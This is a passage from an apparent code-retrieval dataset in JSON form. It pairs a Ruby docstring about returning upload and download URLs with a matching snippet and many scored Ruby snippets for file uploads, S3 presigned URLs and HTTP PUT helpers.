"docid": "82325aa9466331272140a4bfabcacf51",
"score": "0.6064095",
"text": "def cache_key; end",
"title": ""
},
{
"docid": "82325aa9466331272140a4bfabcacf51",
"score": "0.6064095",
"text": "def cache_key; end",
"title": ""
},
{
"docid": "82325aa9466331272140a4bfabcacf51",
"score": "0.6064095",
"text": "def cache_key; end",
"title": ""
},
{
"docid": "82325aa9466331272140a4bfabcacf51",
"score": "0.6064095",
"text": "def cache_key; end",
"title": ""
},
{
"docid": "82325aa9466331272140a4bfabcacf51",
"score": "0.6064095",
"text": "def cache_key; end",
"title": ""
},
{
"docid": "82325aa9466331272140a4bfabcacf51",
"score": "0.6064095",
"text": "def cache_key; end",
"title": ""
},
{
"docid": "82325aa9466331272140a4bfabcacf51",
"score": "0.6064095",
"text": "def cache_key; end",
"title": ""
},
{
"docid": "82325aa9466331272140a4bfabcacf51",
"score": "0.6064095",
"text": "def cache_key; end",
"title": ""
},
{
"docid": "82325aa9466331272140a4bfabcacf51",
"score": "0.6064095",
"text": "def cache_key; end",
"title": ""
},
{
"docid": "82325aa9466331272140a4bfabcacf51",
"score": "0.6064095",
"text": "def cache_key; end",
"title": ""
},
{
"docid": "82325aa9466331272140a4bfabcacf51",
"score": "0.6064095",
"text": "def cache_key; end",
"title": ""
},
{
"docid": "82325aa9466331272140a4bfabcacf51",
"score": "0.6064095",
"text": "def cache_key; end",
"title": ""
},
{
"docid": "82325aa9466331272140a4bfabcacf51",
"score": "0.6064095",
"text": "def cache_key; end",
"title": ""
},
{
"docid": "b7f3cad400a5b64bdb15d434913eccc9",
"score": "0.6057589",
"text": "def key\n @key ||= generate_key\n end",
"title": ""
},
{
"docid": "20ca787560360e2cf71a3382c2d4fed4",
"score": "0.60531235",
"text": "def key\n return self.id\n end",
"title": ""
},
{
"docid": "43ae9327eec2352614a32e1bde5b743a",
"score": "0.60449207",
"text": "def key; end",
"title": ""
},
{
"docid": "43ae9327eec2352614a32e1bde5b743a",
"score": "0.60449207",
"text": "def key; end",
"title": ""
},
{
"docid": "43ae9327eec2352614a32e1bde5b743a",
"score": "0.60449207",
"text": "def key; end",
"title": ""
},
{
"docid": "43ae9327eec2352614a32e1bde5b743a",
"score": "0.60449207",
"text": "def key; end",
"title": ""
},
{
"docid": "43ae9327eec2352614a32e1bde5b743a",
"score": "0.60449207",
"text": "def key; end",
"title": ""
},
{
"docid": "43ae9327eec2352614a32e1bde5b743a",
"score": "0.60449207",
"text": "def key; end",
"title": ""
},
{
"docid": "43ae9327eec2352614a32e1bde5b743a",
"score": "0.60449207",
"text": "def key; end",
"title": ""
},
{
"docid": "43ae9327eec2352614a32e1bde5b743a",
"score": "0.60449207",
"text": "def key; end",
"title": ""
},
{
"docid": "43ae9327eec2352614a32e1bde5b743a",
"score": "0.60449207",
"text": "def key; end",
"title": ""
},
{
"docid": "43ae9327eec2352614a32e1bde5b743a",
"score": "0.60449207",
"text": "def key; end",
"title": ""
},
{
"docid": "43ae9327eec2352614a32e1bde5b743a",
"score": "0.60449207",
"text": "def key; end",
"title": ""
},
{
"docid": "43ae9327eec2352614a32e1bde5b743a",
"score": "0.60449207",
"text": "def key; end",
"title": ""
},
{
"docid": "43ae9327eec2352614a32e1bde5b743a",
"score": "0.60449207",
"text": "def key; end",
"title": ""
},
{
"docid": "43ae9327eec2352614a32e1bde5b743a",
"score": "0.60449207",
"text": "def key; end",
"title": ""
},
{
"docid": "43ae9327eec2352614a32e1bde5b743a",
"score": "0.60449207",
"text": "def key; end",
"title": ""
},
{
"docid": "43ae9327eec2352614a32e1bde5b743a",
"score": "0.60449207",
"text": "def key; end",
"title": ""
},
{
"docid": "43ae9327eec2352614a32e1bde5b743a",
"score": "0.60449207",
"text": "def key; end",
"title": ""
},
{
"docid": "43ae9327eec2352614a32e1bde5b743a",
"score": "0.60449207",
"text": "def key; end",
"title": ""
},
{
"docid": "43ae9327eec2352614a32e1bde5b743a",
"score": "0.60449207",
"text": "def key; end",
"title": ""
},
{
"docid": "43ae9327eec2352614a32e1bde5b743a",
"score": "0.60449207",
"text": "def key; end",
"title": ""
},
{
"docid": "43ae9327eec2352614a32e1bde5b743a",
"score": "0.60449207",
"text": "def key; end",
"title": ""
},
{
"docid": "43ae9327eec2352614a32e1bde5b743a",
"score": "0.60449207",
"text": "def key; end",
"title": ""
},
{
"docid": "43ae9327eec2352614a32e1bde5b743a",
"score": "0.60449207",
"text": "def key; end",
"title": ""
},
{
"docid": "43ae9327eec2352614a32e1bde5b743a",
"score": "0.60449207",
"text": "def key; end",
"title": ""
},
{
"docid": "43ae9327eec2352614a32e1bde5b743a",
"score": "0.60449207",
"text": "def key; end",
"title": ""
},
{
"docid": "43ae9327eec2352614a32e1bde5b743a",
"score": "0.60449207",
"text": "def key; end",
"title": ""
},
{
"docid": "43ae9327eec2352614a32e1bde5b743a",
"score": "0.60449207",
"text": "def key; end",
"title": ""
},
{
"docid": "43ae9327eec2352614a32e1bde5b743a",
"score": "0.60449207",
"text": "def key; end",
"title": ""
},
{
"docid": "43ae9327eec2352614a32e1bde5b743a",
"score": "0.60449207",
"text": "def key; end",
"title": ""
},
{
"docid": "43ae9327eec2352614a32e1bde5b743a",
"score": "0.60449207",
"text": "def key; end",
"title": ""
},
{
"docid": "43ae9327eec2352614a32e1bde5b743a",
"score": "0.60449207",
"text": "def key; end",
"title": ""
}
] |
0e44f9fa1d219191ff08809387603e3c
|
Returns put_url and get_url for a new file that should be uploaded by the client. Of course get_url will work after file is uploaded.
|
[
{
"docid": "f75b1d207412e3f2dd686166a9439142",
"score": "0.0",
"text": "def handle(helper, req, env)\n if skip_direct_upload\n not_available_response(helper)\n else\n format = req.GET()['format'] || 'png'\n object_name = \"img-#{SecureRandom.uuid}.#{format}\"\n storage = Configuration.instance.storage\n unless storage.respond_to? :put_url\n not_available_response(helper)\n end\n helper.response({\n put_url: storage.put_url(object_name),\n get_url: storage.get_url(object_name),\n }.to_json, 'application/json')\n end\n end",
"title": ""
}
] |
[
{
"docid": "218b1ac95a693b90ca5380d4f413677d",
"score": "0.69077665",
"text": "def get_pre_singed_url_for_put\n @service_response = UserManagement::DocumentsUploader::V2::ForPut.new(params).perform\n format_service_response\n end",
"title": ""
},
{
"docid": "496ab3200e1e4190d64c0fd798298cb5",
"score": "0.66888267",
"text": "def upload\n resp = upload_file\n make_file_public if resp.successful?\n file.public_url\n end",
"title": ""
},
{
"docid": "b3914b449225b1d667c0685fd7582331",
"score": "0.6427183",
"text": "def upload_file\n\tproject = self.use_case.project\n\n\tfile = url_path.read\n whole_name = url_path.original_filename\n final_name = self.name + \".v1.0\" + File.extname(whole_name)\n file_path = project.name + \"/UseCases/\" + self.name + \"/\" + final_name\n dbsession = DropboxSession.deserialize(project.dropbox_token)\n client = DropboxClient.new(dbsession)\n response = client.put_file(file_path, file)\n link = client.shares(response[\"path\"])\n self.url_path = link[\"url\"]\n end",
"title": ""
},
{
"docid": "3d420fd51b70178c7565921e504b5db4",
"score": "0.63970804",
"text": "def file_url\n url\n end",
"title": ""
},
{
"docid": "265c0f2ab91159b221de591a85630a89",
"score": "0.6348405",
"text": "def put_file(url, file_path, mime_type, entry = nil)\n return self.make_file_request(:put, url, file_path, mime_type, entry)\n end",
"title": ""
},
{
"docid": "18174345df93336e7b5cb07f4750a5f9",
"score": "0.6293923",
"text": "def url\n \"#{Asset.s3_base_path}/#{EffectiveAssets.aws_final_path.chomp('/')}/#{self.id.to_i}/#{upload_file.to_s.split('/').last}\"\n end",
"title": ""
},
{
"docid": "85e172a8ace9698fb890d7cb312aa14c",
"score": "0.6288375",
"text": "def url_for_direct_upload(key, expires_in:, content_type:, content_length:, checksum:, custom_metadata: {})\n instrument :url, key: key do |payload|\n generated_url = bucket.object_url(path_for(key), false)\n payload[:url] = generated_url\n generated_url\n end\n end",
"title": ""
},
{
"docid": "e5405b9e1a56d759bc8d3d66571498cc",
"score": "0.6240736",
"text": "def url_for_direct_upload(key, expires_in:, content_type:, content_length:, checksum:); end",
"title": ""
},
{
"docid": "ee1cd4be510188a25a238100e4fc308a",
"score": "0.6235496",
"text": "def file_put(url, params={})\n multipart_conn.put(url, file_payload(params))\n end",
"title": ""
},
{
"docid": "0139b1d0474643ca978ed5d74a29b674",
"score": "0.6232147",
"text": "def upload_file\n project = self.task.project\n task = self.task\n\n file = url_path.read\n self.original_name = url_path.original_filename\n self.version = DocumentTask.where(:name => self.name).count + 1\n\n final_name = \"#{self.name}.v#{self.version}#{File.extname(original_name)}\"\n file_path = project.name + \"/\" + task.name + \"/\" + final_name\n dbsession = DropboxSession.deserialize(project.dropbox_token)\n client = DropboxClient.new(dbsession)\n response = client.put_file(file_path, file)\n link = client.shares(response[\"path\"])\n self.url_path = link[\"url\"]\n end",
"title": ""
},
{
"docid": "b59ee241b37585967bffe0bc1e61cb9d",
"score": "0.62134194",
"text": "def make_put_request\n\t\treturn Net::HTTP::Put.new( self.path, self.headers )\n\tend",
"title": ""
},
{
"docid": "5898c558df019ac688dce3ab53b07404",
"score": "0.6181909",
"text": "def upload_file\n file = @bucket.files.create(\n key: storage_object_key,\n body: @file.tempfile,\n public: true\n )\n file.save\n file.public_url\n end",
"title": ""
},
{
"docid": "812372177a0152ed9d611435fc38c7cd",
"score": "0.6172414",
"text": "def write_url(handle, file_url)\n signage = sign(handle: handle, call: :writeUrl)\n\n uri = file_uri(handle)\n uri.query = encode_uri_query(\n key: @api_key,\n signature: signage[:signature],\n policy: signage[:encoded_policy]\n )\n\n resource = get_fp_resource uri\n\n response = resource.put url: file_url.to_s\n\n if response.code == 200\n return true\n else\n raise FilepickerClientError, \"failed to write (code: #{response.code})\"\n end\n end",
"title": ""
},
{
"docid": "fc05dab92099e58b259a600a91366ed2",
"score": "0.61659884",
"text": "def url\n file.url\n end",
"title": ""
},
{
"docid": "fc05dab92099e58b259a600a91366ed2",
"score": "0.61659884",
"text": "def url\n file.url\n end",
"title": ""
},
{
"docid": "d89d3be8f59f55d136d7f6a7cb2919a1",
"score": "0.61641353",
"text": "def url\n generate_url_from_handler\n # if filename =~ /^http:\\/\\// \n # self.modifications.present? && filename || generate_url_from_handler\n # elsif $cloudfront && $cloudfront[s3_bucket]\n # \"#{$cloudfront[s3_bucket]}/#{s3_key}\"\n # else\n # \"http://#{s3_bucket}.s3.amazonaws.com/#{s3_key}\"\n # end\n end",
"title": ""
},
{
"docid": "67fef4bd3a54672c769795fc0a28a5fa",
"score": "0.6156287",
"text": "def url\t\n \tself.file.url\n end",
"title": ""
},
{
"docid": "52d5eec98b50cd79264f317d15a77237",
"score": "0.6148347",
"text": "def upload_file(file)\r\n # Declaring\r\n uploader = FileUploader.new\r\n # Upload it\r\n uploader.store!(file)\r\n\r\n return uploader.url\r\nend",
"title": ""
},
{
"docid": "76ad638333c296f4accf8f9031183d24",
"score": "0.6147175",
"text": "def upload_url\n options = {\n expires_in: Settings.aws.s3.presigned_url.expires_in,\n acl: 'public-read'\n }\n key = [env_dir, quiz_set_id, file_name].join('/')\n render json: { \n upload_url: S3_BUCKET.object(key).presigned_url(:put, options),\n key: key,\n url: Rails.application.credentials.aws[:s3][:bucket_base_url] + key\n }\n end",
"title": ""
},
{
"docid": "6eac428bc85f49c6269c9dc39707231b",
"score": "0.61303324",
"text": "def put!(options = {})\n @logger.info(\"Storing #{@url}\")\n case @url\n when /^file:(.*)/\n FileUtils.cp(@temp_file.path, $1)\n @result_url = @url\n when /^s3:.*/\n s3_options = S3Utilities.parse_uri(@url)\n bucket_name, path = s3_options[:bucket], s3_options[:key]\n File.open(@temp_file.path, 'r') do |file|\n s3_service = Tootsie::Application.get.s3_service\n begin\n object = s3_service.buckets.find(bucket_name).objects.build(path)\n object.acl = s3_options[:acl] || :private\n object.content_type = s3_options[:content_type]\n object.content_type ||= @content_type if @content_type\n object.storage_class = s3_options[:storage_class] || :standard\n object.content = file\n object.save\n @result_url = object.url\n rescue ::S3::Error::NoSuchBucket\n raise IncompatibleOutputError, \"Bucket #{bucket_name} not found\"\n end\n end\n when /^http(s?):\\/\\//\n File.open(@temp_file.path, 'wb') do |file|\n HTTPClient.new.post(@url, [],\n {'Content-Type' => @content_type, :data => file})\n end\n else\n raise IncompatibleOutputError, \"Don't know to store output URL: #{@url}\"\n end\n end",
"title": ""
},
{
"docid": "860502c1465e24a9596b2ff5e66022f5",
"score": "0.6126875",
"text": "def upload_url\n upload_url_response['p']\n end",
"title": ""
},
{
"docid": "6c599ef7192cee6370183799cb315c8e",
"score": "0.610619",
"text": "def create_method\n :http_put\n end",
"title": ""
},
{
"docid": "6c599ef7192cee6370183799cb315c8e",
"score": "0.610619",
"text": "def create_method\n :http_put\n end",
"title": ""
},
{
"docid": "cde33125d897c2ff3f66393a4d1deba9",
"score": "0.61051923",
"text": "def write_url(file_url)\n @client.write_url @handle, file_url\n end",
"title": ""
},
{
"docid": "fe12a38437d76dd6f08965bce90f81ce",
"score": "0.61010325",
"text": "def callback_method\n :put\n end",
"title": ""
},
{
"docid": "29375fe51bf05843f3d4ec9fdc25d4fd",
"score": "0.60429305",
"text": "def upload\n # Upload the given file\n AWS::S3::S3Object.store( FILE,\n open( FILE ),\n BUCKET,\n :access => :public_read )\n\n # display the URL of the file just uploaded\n puts AWS::S3::S3Object.url_for((FILE), BUCKET)[/[^?]+/]\nend",
"title": ""
},
{
"docid": "fe86659be6c25f8522091bedacf8d9c0",
"score": "0.6027017",
"text": "def perform(uploaded_file_id, remote_url)\n uploaded_file = ::Hyrax::UploadedFile.find uploaded_file_id\n\n # Download & save the file\n uploaded_file.remote_file_url = remote_url\n uploaded_file.save!\n end",
"title": ""
},
{
"docid": "8db35da323a8fd2c6bc32cde520d8d2c",
"score": "0.6025605",
"text": "def get_presigned_url_put(custom_params = nil)\n\n default_val = {\n files: {\n selfie: 'image/jpeg'\n }\n }\n endpoint = \"/api/#{@version}/users-kyc/pre-signed-urls/for-put\"\n\n custom_params = custom_params || default_val\n params = request_parameters(endpoint, custom_params)\n get(params)\n end",
"title": ""
},
{
"docid": "830f5669f57c71b8199632775044d1da",
"score": "0.6020573",
"text": "def to_url\n \"/file/#{self.id}\"\n end",
"title": ""
},
{
"docid": "5f00872e23b5f823850fc00470df35b5",
"score": "0.6017203",
"text": "def upload_url_for(identifier, content_type)\n get(identifier).presigned_url :put, key: key(identifier), acl: \"public-read\", content_type: content_type\n end",
"title": ""
},
{
"docid": "9075ec57e55c81a536bcf2a0f28d5c36",
"score": "0.6006377",
"text": "def url(options = {})\n if file.respond_to?(:url) and not file.url.blank?\n # this should be a remote url where the file is ex Amazon S3\n #puts \"USING MY URL arity=>#{file.method(:url).arity}\"\n # LDB for some reason the options is coming in as nil\n # when it is nil then the carrierwave file.url method bombs..\n options ||= {}\n file.method(:url).arity == 0 ? file.url : file.url(options)\n elsif current_path\n # this should be a local path on the server\n (base_path || \"\") + File.expand_path(current_path).gsub(File.expand_path(root), '')\n end\n end",
"title": ""
},
{
"docid": "c574f4696f8cb9e7fbca8b685fcc75a8",
"score": "0.59921694",
"text": "def add_file(change)\n # Get attributes and Upload\n size = File.size(change) # integer\n path = File.realpath(change)\n\n # Set input information\n uri = URI.parse(\"http://localhost:9292/create/file\")\n header = {'Content-Type': 'application/json'}\n obj = { username: 'alan',\n path: path,\n portion: 1,\n size: size\n }\n # Create the HTTP objects\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Post.new(uri.request_uri, header)\n request.body = obj.to_json\n\n # Send the request to our server to update info\n response = http.request(request)\n if response.code != '200'\n puts 'Add file failed at Guardfile'\n return -1\n end\n\n # Get file record id and allocated gaccount\n file_id, gaccount = response.body.split(/[ ]/)\n\n # Call Java API to upload files to Drive\n gfile_id = Setting.api.call(\"upload\", gaccount, path)\n space = Setting.api.call(\"getSpace\", gaccount)\n\n # Update file metadata to our server\n uri = URI.parse(\"http://localhost:9292/update/metadata\")\n header = {'Content-Type': 'application/json'}\n obj = { username: 'alan',\n file_id: file_id, #.to_s, # Body must only yield String values?\n gfile_id: gfile_id,\n drive_space: space\n }\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Post.new(uri.request_uri, header)\n request.body = obj.to_json\n http.request(request)\nend",
"title": ""
},
{
"docid": "b974e25f36e367d4d4e9f29ebfe3da6a",
"score": "0.596664",
"text": "def put(client=CdfFtpClient.new)\n raise ArgumentError, \"File not found: #{path}\" unless File.exists?(path)\n\n return self.submitted_at if self.submitted?\n\n list = []\n client.connect do |ftp|\n ftp.chdir 'incoming'\n ftp.put File.new(path)\n list = ftp.list\n end\n\n self.submitted_at = Time.now\n self.save!\n self.submitted_at\n end",
"title": ""
},
{
"docid": "712978dfbd5c52336707d50641ea59be",
"score": "0.59664357",
"text": "def url_for_direct_upload(key, expires_in:, content_type:, content_length:, checksum:)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "d7dc90274e056b963388a741f21d6b2a",
"score": "0.5948766",
"text": "def add_file_from_url(url)\n Resource.client.add_file_from_url(self,url)\n end",
"title": ""
},
{
"docid": "de1007dcf4f3e51b466acc4590a4df6f",
"score": "0.59387773",
"text": "def update_url; end",
"title": ""
},
{
"docid": "de1007dcf4f3e51b466acc4590a4df6f",
"score": "0.59387773",
"text": "def update_url; end",
"title": ""
},
{
"docid": "568603a8e413c1d8b2fb314c7750571c",
"score": "0.5931385",
"text": "def get_file_path\n return \"public/files/\" + self.file_url\n end",
"title": ""
},
{
"docid": "24eb0a0563b2bed2a52a10377e3b8a7a",
"score": "0.5920637",
"text": "def add_file\n\n uploaded = UploadedFile.create params.permit( :file )\n filename = APIV1FilesController.cache_file_from_url( uploaded.file.url )\n key = APIV1FilesController.cache_key_from_url( uploaded.file.url )\n\n # audit the information\n audit_log( \"File #{filename} uploaded by #{User.cid_from_email( @api_user.email)}\" )\n\n render_upload_response( :ok, key )\n\n end",
"title": ""
},
{
"docid": "6ee62ee271a58c6d3fddda7e093e38d2",
"score": "0.5894251",
"text": "def upload_file(url, headers, file_path)\n puts 'Upload file'\n\n uri = URI(url)\n file_contents = File.read(file_path)\n Net::HTTP.start(uri.host) do |http|\n response = http.send_request('PUT',\n uri,\n file_contents,\n headers)\n puts \"upload_file response.code = #{response.code}\"\n end\nend",
"title": ""
},
{
"docid": "37c265b7785a44e60790e8064c199b76",
"score": "0.588416",
"text": "def createurl(filepath)\r\n\turl = base_url + \"original\" + filepath\r\n\tputs url\r\nend",
"title": ""
},
{
"docid": "9514e0ee7daacdd6dc99b3bba41592c5",
"score": "0.5876208",
"text": "def get_url_for_path(path, name)\n file = File.open(path+name)\n @client.put_file(name, file)\n\n @client.media(name)[\"url\"]\n end",
"title": ""
},
{
"docid": "754dab1adb732b47cf49d4a9037d6d9b",
"score": "0.5870657",
"text": "def file_url\n \n storage.file_url(path)\n\n end",
"title": ""
},
{
"docid": "234e69554bf4f0bcee6bb07174939a49",
"score": "0.5868488",
"text": "def upload(filename)\n end",
"title": ""
},
{
"docid": "a90b95e7a1f0ad451952981e7a612a1a",
"score": "0.585981",
"text": "def put_copy(path, newdest, opts = {})\n if Configuration.debugging\n Configuration.logger.debug \"Calling API: StorageApi#put_copy ...\"\n end\n \n # verify the required parameter 'path' is set\n fail \"Missing the required parameter 'path' when calling put_copy\" if path.nil?\n \n # verify the required parameter 'newdest' is set\n fail \"Missing the required parameter 'newdest' when calling put_copy\" if newdest.nil?\n \n # resource path\n path = \"/storage/file/{path}\".sub('{format}','json').sub('{' + 'path' + '}', path.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'newdest'] = newdest\n query_params[:'versionId'] = opts[:'version_id'] if opts[:'version_id']\n query_params[:'storage'] = opts[:'storage'] if opts[:'storage']\n query_params[:'destStorage'] = opts[:'dest_storage'] if opts[:'dest_storage']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json', 'text/json', 'text/javascript']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n form_params[\"file\"] = opts[:'file'] if opts[:'file']\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n result = @api_client.call_api(:PUT, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'BaseResponse')\n if Configuration.debugging\n Configuration.logger.debug \"API called: StorageApi#put_copy. Result: #{result.inspect}\"\n end\n return result\n end",
"title": ""
},
{
"docid": "041c1675b36e52dacf0b07540159f134",
"score": "0.5854204",
"text": "def upload\n end",
"title": ""
},
{
"docid": "041c1675b36e52dacf0b07540159f134",
"score": "0.5854204",
"text": "def upload\n end",
"title": ""
},
{
"docid": "20694fd80964a02ac6af0e1b928a604f",
"score": "0.58422536",
"text": "def file_url(file, timeout_secs)\n if file.persisted?\n signer.generate_url(\n :get, ::File.join(uri_escape(file.bucket.name), file_path(file)),\n :headers => Smash.new(\n \"Host\" => aws_host,\n ),\n :params => Smash.new(\n \"X-Amz-Date\" => Contrib::AwsApiCore.time_iso8601,\n \"X-Amz-Expires\" => timeout_secs,\n ),\n )\n else\n raise Error::ModelPersistError.new \"#{file} has not been saved!\"\n end\n end",
"title": ""
},
{
"docid": "f322dfad300a086012d8002ad03d1e31",
"score": "0.58255696",
"text": "def put_file(file:, original_filename:, resource:, content_type:, # rubocop:disable Metrics/ParameterLists\n resource_uri_transformer:, id_hint:, **_extra_arguments)\n identifier = resource_uri_transformer.call(resource, id_hint)\n\n connection.http.put do |request|\n request.url identifier\n request.headers['Content-Type'] = content_type\n request.headers['Content-Length'] = (file.try(:size) || file.try(:length)).to_s\n request.headers['Content-Disposition'] = \"attachment; filename=\\\"#{original_filename}\\\"\"\n request.headers['digest'] = digest_for(file)\n request.headers['link'] = LINK_HEADER\n request.body = Faraday::UploadIO.new(file, content_type, original_filename)\n end\n\n identifier\n end",
"title": ""
},
{
"docid": "f322dfad300a086012d8002ad03d1e31",
"score": "0.58255696",
"text": "def put_file(file:, original_filename:, resource:, content_type:, # rubocop:disable Metrics/ParameterLists\n resource_uri_transformer:, id_hint:, **_extra_arguments)\n identifier = resource_uri_transformer.call(resource, id_hint)\n\n connection.http.put do |request|\n request.url identifier\n request.headers['Content-Type'] = content_type\n request.headers['Content-Length'] = (file.try(:size) || file.try(:length)).to_s\n request.headers['Content-Disposition'] = \"attachment; filename=\\\"#{original_filename}\\\"\"\n request.headers['digest'] = digest_for(file)\n request.headers['link'] = LINK_HEADER\n request.body = Faraday::UploadIO.new(file, content_type, original_filename)\n end\n\n identifier\n end",
"title": ""
},
{
"docid": "3797f70816665ea3965c177a391c79bb",
"score": "0.5825317",
"text": "def file_url\n # implements by children\n end",
"title": ""
},
{
"docid": "deb8f6ff53db902f2ef31fe8ba83ad0f",
"score": "0.5818056",
"text": "def store_url(file_url, path=nil)\n signage = sign(path: path, call: :store)\n\n uri = URI.parse(FP_API_PATH)\n query_params = {\n key: @api_key,\n signature: signage[:signature],\n policy: signage[:encoded_policy]\n }\n query_params[:path] = signage[:policy]['path'] if path\n uri.query = encode_uri_query(query_params)\n\n resource = get_fp_resource uri\n\n response = resource.post url: file_url.to_s\n\n if response.code == 200\n response_data = JSON.parse response.body\n file = FilepickerClientFile.new response_data, self\n\n return file\n else\n raise FilepickerClientError, \"failed to store (code: #{response.code})\"\n end\n end",
"title": ""
},
{
"docid": "0a410fe624fb40487f4c94c94431e3a8",
"score": "0.5800242",
"text": "def upload_file image \n storage = Google::Cloud::Storage.new(\n project: \"my-toiletfinder-project\",\n keyfile: \"#{Rails.root}/credential/ToiletFinder-9ede96ffc554.json\"\n )\n \n bucket = storage.bucket \"toilet-photos\"\n file = bucket.create_file image.file.path,\n \"#{toilet_id}/#{user_id}/#{Time.now.to_formatted_s(:number)}\",\n acl: `public`\n @file_url = file.public_url\n\n end",
"title": ""
},
{
"docid": "96a90be79ebc79761ac85a691b5d6628",
"score": "0.57903093",
"text": "def submission_url_file\n expose Deliverable.create_url_or_file_submission(@oauth_token, params[:membername].strip,\n params[:challenge_id].strip, params) \n end",
"title": ""
},
{
"docid": "e3829e5109f845f35de66a4a8009dd16",
"score": "0.5788779",
"text": "def original_file_url(time_to_live = 600)\n Dropio::Resource.client.generate_original_file_url(self)\n end",
"title": ""
},
{
"docid": "cb0330fa66e97fef79e55cfdd64411f9",
"score": "0.5770477",
"text": "def presigned_upload_url\n filename = signed_url_params # First param is filename\n resource = Aws::S3::Resource.new(client: @s3_client)\n bucket = resource.bucket(Rails.application.credentials.aws[:bucket])\n\n object_key = \"#{filename.split(\".\")[0]}-#{SecureRandom.uuid}.#{filename.split(\".\")[1]}\"\n obj = bucket.object(object_key)\n url = obj.presigned_url(:put)\n render json: { presigned_url: url, object_key: object_key }\n\n rescue NameError\n render json: { error: \"Failed to get presigned URL\" }\n end",
"title": ""
},
{
"docid": "75ab5accb6bc314a6abbe494e8775b1b",
"score": "0.57556945",
"text": "def endpoint\n Storage.url(filename)\n end",
"title": ""
},
{
"docid": "8807b78200cc2a57d552964f58a89a5d",
"score": "0.57443166",
"text": "def upload_url url\n # download file and get token\n token = response :post,\n \"/from_url/\",\n :source_url => url,\n :pub_key => @options[:public_key]\n\n # wait valid response status\n status = \"unknown\"\n while \"unknown\" == status\n result = response :post,\n \"/from_url/status/\",\n token\n status = result[:status]\n sleep 0.5\n end\n\n # raise if response status is invalid\n raise ArgumentError.new result[\"error\"] if \"error\" == result[\"status\"]\n\n # return file ID\n result[\"file_id\"]\n end",
"title": ""
},
{
"docid": "2aeb4b071f540f960269fe2758d53196",
"score": "0.5737625",
"text": "def put url, data, referer = nil\n\t\t\[email protected](\"PUT: #{url.to_s}\")\n\t\t\trequest(\"PUT\", url.to_uri, referer, data)\n\t\tend",
"title": ""
},
{
"docid": "6f124c72c881a9d85dab045a51b385d3",
"score": "0.5728361",
"text": "def upload_to_bucket(bucket, name, file_path)\n container = @cf.container(bucket)\n prefix = (0...24).map{65.+(rand(25)).chr}.join\n object = container.create_object \"#{prefix}/#{name}\"\n object.load_from_filename file_path\n return object.public_url\n end",
"title": ""
},
{
"docid": "696acf28cb5513b25234b8971266dd8e",
"score": "0.5719783",
"text": "def put(url)\n authsub_http_request(Net::HTTP::Put,url)\n end",
"title": ""
},
{
"docid": "2df4e225bab3ff88bb6c33a9855f7650",
"score": "0.5713392",
"text": "def url\n Store.url(self.filename)\n end",
"title": ""
},
{
"docid": "5f844cc6af7d6dc984310bd03df6ea86",
"score": "0.57032096",
"text": "def put_file\n\t\tuser = get_user_by_token\n\t\treturn if user.nil?\n\n\t\tfile_name = params[:file].original_filename\n\n\t\tvid = Video.find(params[:video_id])\n\t\tsecond = (Time.now.getutc - vid.start_record_timestamp).to_i\n\n\t\tparams.store(\"content\", file_name)\n\t\tparams.store(\"user_id\", user[\"id\"])\n\t\tparams.store(\"active\", \"true\")\n\t\tparams.store(\"content_type\", \"file\")\n\t\tparams.store(\"second\", second)\n\n\t\tlocalParams = [\"video_id\", \"second\", \"content\"]\n \t\tresult = set_new \"Post\", localParams\n \t\tcontent = params[:file].read\n \t\tid = params[:video_id].to_s\n \t\tFile.open(Rails.root.join('public','uploads/vits/'+id+'/files/'+file_name), 'wb') do |f| \n\t\t\tf.write(content) \n\t\tend\n\t\trender result\n\tend",
"title": ""
},
{
"docid": "fc56c9973ac353c308538321435b79eb",
"score": "0.56950736",
"text": "def http_put(client, url, body, extra_params = {})\n http_request(client, :put, url, body, extra_params)\n end",
"title": ""
},
{
"docid": "fc56c9973ac353c308538321435b79eb",
"score": "0.56950736",
"text": "def http_put(client, url, body, extra_params = {})\n http_request(client, :put, url, body, extra_params)\n end",
"title": ""
},
{
"docid": "7351592bbc08a8ccbd8d623036d24692",
"score": "0.5693058",
"text": "def update!(**args)\n @upload_url = args[:upload_url] if args.key?(:upload_url)\n end",
"title": ""
},
{
"docid": "581734815b90fa0bf67daa591569f2f5",
"score": "0.5685938",
"text": "def save\n unless saved? || @contents.nil? || @name.nil?\n response = client.create_file(@name, @contents, @mime_type)\n unless response.error?\n result = response.result\n @name = result[FIELD_NAME] || File.basename(result[FIELD_URL])\n @url = result[FIELD_URL]\n end\n end\n saved?\n end",
"title": ""
},
{
"docid": "33fd76b642eff626becfed86916cfc50",
"score": "0.56761616",
"text": "def upload_file(file_uri, html_filename, destination_path)\n\n # binding.pry\n if(file_uri[/^http/])\n # TODO Sjekke at filen ligger på samme server eller annen server\n filename = file_uri\n else\n filename = (Pathname.new(html_filename).parent + Pathname.new(file_uri)).to_s\n end\n\n\n basename = Pathname.new(file_uri).basename.to_s\n destination_filename = destination_path + '/' + basename\n\n content = nil\n begin\n # puts \"Filename => \" + filename.to_s\n timeout(15) do # Makes open-uri timeout after 10 seconds.\n begin\n content = open(filename).read\n rescue\n puts \"Error: Timeout: \" + filename\n log_error('timed-out',filename)\n return nil\n end\n end\n rescue\n puts \"Logging error: File not found : \" + filename if(@debug)\n log_error('file-not-found',filename)\n end\n if(content)then\n # Downcase path but not destination_filename:\n arr = destination_filename.split(/\\//)\n destination_filename = arr[0..arr.size-2].join(\"/\").downcase + \"/\" + arr.last\n\n puts \"File uri : \" + file_uri if(@debug)\n puts \" Copying : \" + filename if(@debug)\n puts \" To : \" + destination_filename if(@debug)\n\n if(@vortex.exists?(destination_filename))\n puts \" Warning : \" + destination_filename + \" exists on server.\"\n else\n # binding.pry\n @vortex.put_string(destination_filename, content)\n log_upload('file', filename.sub(@html_dir,''), destination_filename.sub(@vortex_path,''))\n end\n end\n end",
"title": ""
},
{
"docid": "918255c7043b3668ed64dd37231935ca",
"score": "0.5675367",
